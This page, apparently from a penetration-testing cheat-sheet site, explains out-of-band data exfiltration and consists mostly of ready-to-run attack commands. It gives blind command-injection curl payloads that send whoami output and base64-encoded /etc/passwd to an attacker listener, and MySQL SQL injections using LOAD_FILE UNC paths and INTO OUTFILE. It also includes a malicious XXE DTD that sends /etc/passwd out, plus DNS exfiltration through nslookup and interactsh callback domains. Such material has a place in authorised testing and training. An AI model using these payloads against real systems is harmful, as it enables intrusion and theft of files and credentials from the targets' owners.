Skip to content
HackIndex logo

HackIndex

Out-of-Band Data Exfiltration

1 min read Apr 24, 2026

Out-of-band exfiltration retrieves data from vulnerabilities that produce no visible output in the HTTP response. Blind SQLi, blind command injection, blind XXE, and blind SSRF all require an external channel to receive exfiltrated content. The server makes a connection to an attacker-controlled listener carrying the data in a URL path, DNS query, or HTTP body.

HTTP Callback Listener

Set up a simple HTTP listener to receive callbacks. All techniques below send data as URL path segments or query parameters readable in the request log:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT 2>&1 | tee /tmp/oob_log.txt & 
Serving HTTP on 0.0.0.0 port 4444

Blind Command Injection Exfiltration

Exfiltrate command output via HTTP when the injection does not return output in the response. Encode the output in the URL to handle special characters:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=curl+http://$LHOST:$LPORT/\$(whoami)"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=curl+http://$LHOST:$LPORT/\$(cat+/etc/passwd+|+base64+-w0)"

The base64 encoding handles newlines and special characters in file content that would break the URL. Decode the received path segment on Kali:

┌──(kali㉿kali)-[~]
└─$ grep 'GET /' /tmp/oob_log.txt | tail -1 | grep -oP '(?<=GET /)[^ ]+' | base64 -d 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Blind SQLi Out-of-Band Exfiltration

MySQL can make outbound HTTP requests using the load_file function with a UNC path on Windows, or by triggering DNS queries. On Linux, use INTO OUTFILE to write data to a location readable via LFI if that path is available, or use the HTTP method:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND LOAD_FILE(CONCAT('\\\\\\\\$LHOST\\\\',database(),'\\\\test'))--"
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 445 &
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND LOAD_FILE(CONCAT('\\\\\\\\$LHOST\\\\share\\\\',user()))--"

For MySQL on Linux where UNC paths do not work, use a stacked query to write extracted data to a temp file that can be read back through the injection or LFI:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;SELECT user() INTO OUTFILE '/var/www/html/oob.txt'--"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/oob.txt" 
root@localhost

Blind XXE Out-of-Band Exfiltration

Host a malicious DTD that reads a local file and sends it to your HTTP listener in the URL. The target parses your DTD and makes an outbound HTTP request carrying the file content:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://$LHOST:$LPORT/?d=%file;'>">
%wrap;
%send;
┌──(kali㉿kali)-[~]
└─$ sed -i "s/\$LHOST/$LHOST/g; s/\$LPORT/$LPORT/g" oob.dtd
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT &
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/xml -H 'Content-Type: application/xml' -d "<?xml version=\"1.0\"?><!DOCTYPE r [<!ENTITY % ext SYSTEM \"http://$LHOST:$LPORT/oob.dtd\"> %ext;]><r>test</r>"
┌──(kali㉿kali)-[~]
└─$ grep 'GET /\?d=' /tmp/oob_log.txt | grep -oP '(?<=d=)[^ ]+' | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))" 
root:x:0:0:root:/root:/bin/bash

DNS Exfiltration for Strict Egress Environments

When outbound HTTP is blocked but DNS is allowed, encode data in DNS queries. The target makes a DNS lookup carrying the data as a subdomain of your controlled domain:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=nslookup+\$(whoami).attacker-ns.$DOMAIN"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=nslookup+\$(cat+/etc/hostname).attacker-ns.$DOMAIN"

Set up your domain's NS record to point to a server running a DNS logger. Interactsh provides a free out-of-band interaction server that captures both HTTP and DNS callbacks without needing your own domain:

┌──(kali㉿kali)-[~]
└─$ interactsh-client -v 
[INF] Listing on: abc123.oast.fun
[INF] Use this URL for OOB testing
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=curl+\$(whoami).abc123.oast.fun"

Interactsh shows the subdomain that connected, which contains the exfiltrated data. This works for both HTTP and DNS callbacks without needing infrastructure of your own.

References